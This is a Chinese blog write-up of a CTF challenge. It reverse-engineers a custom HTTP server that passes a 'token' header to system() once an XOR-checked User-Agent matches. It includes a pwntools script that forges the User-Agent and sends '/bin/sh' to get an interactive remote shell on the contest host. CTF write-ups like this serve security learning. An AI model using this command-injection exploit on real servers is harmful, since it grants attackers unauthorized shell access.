“百度杯”CTF比赛 十一月场 3.7z

1 篇文章 0 订阅

这题做的是真懵逼, 一是不会做, 二是程序复杂的一批
接着看师傅们的操作=-=


其实用浏览器直接去访问题目端口的话, 就会发现它是个http服务器, 不过不是那么标准就是了

下载题目后给了两个程序,
题目
一个一两M, 一个几k, 内心好懵逼, 以为有两个flag.

先用ida打开了step1的http, 看到一堆函数, 赶紧退了出来, 打开了step2, 然后就没那么多函数了

先看main, 第一个调用了sub_8048D2C
main
可以看到有个死循环, 里面是读HTTP头部内容

HTTP数据包结构:

协议 URI HTTP/版本号
key1: value1
key2: value2
...
keyN: valueN
空行(\r\n)
POST数据

sub_8048D2C

(随便看看吧, 看不懂我也没办法, 就是个坑在哪)

读完头部后, 把头部数据传给sub_804893E, 也就是参数a1
sub_804893E

  1. 大意是先用strstr判断a1有没有User-Agent:, 没有的话结束调用,
  2. 有的话就接着用__isoc99_sscanf读取User-Agent:\r\n(HTTP数据包中的换行)之间的数据, 最多32个字节长度的文本,
    (不过我不清楚这里有没有溢出攻击办法), 然后把文本赋给v4, 再输出v4,
  3. 再调用sub_80488DD, 把v4作为参数, 如果函数返回0, 就结束调用,
  4. 接着判断有没有token:, 没有的话结束调用,
  5. 再去除token:到下一行前的文本给command,
  6. 最后调用system执行command

可以看出, 我们只要保证程序能执行到第六步, 让command的值为/bin/sh, 就能拿到shell了,
再往前面看, 关注到影响执行流程的sub_80488DD上,
sub_80488DD
可以看出, 这个函数是一个对a1做一个简单的异或加密, 只要最后能等于s就行, 而s的值是useragent(一开始脑子瓦特没注意到, 看wp都懵圈死)
s的值
到这里后, 我们可以写脚本来获取权限了

from pwn import *


def login(data):
    # 对ua进行异或处理
	p = ''
	for i in range(len(data)):
		p += chr(i ^ ord(data[i]))
	return p


io = remote('106.75.2.53', 80)
# 处理ua, 让程序通过第3步判断
# \r\n是换行
payload = 'User-Agent: ' + login('useragent') + '\r\n'
# /bin/sh 即linux下执行shell的程序
payload += 'token: ' + '/bin/sh' + '\r\n'
# 再加一次换行是该http服务器&&标准协议的要求, 不然要出错
payload += '\r\n'
io.send(payload)
io.interactive()

脚本执行结果
忘记放参考链接了:

  • https://www.ichunqiu.com/course/56467 (巨佬的视频讲解)
  • https://www.ichunqiu.com/writeup/detail/525
  • https://blog.csdn.net/baiyeguang/article/details/88323248

接着吐槽审核, 撤

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值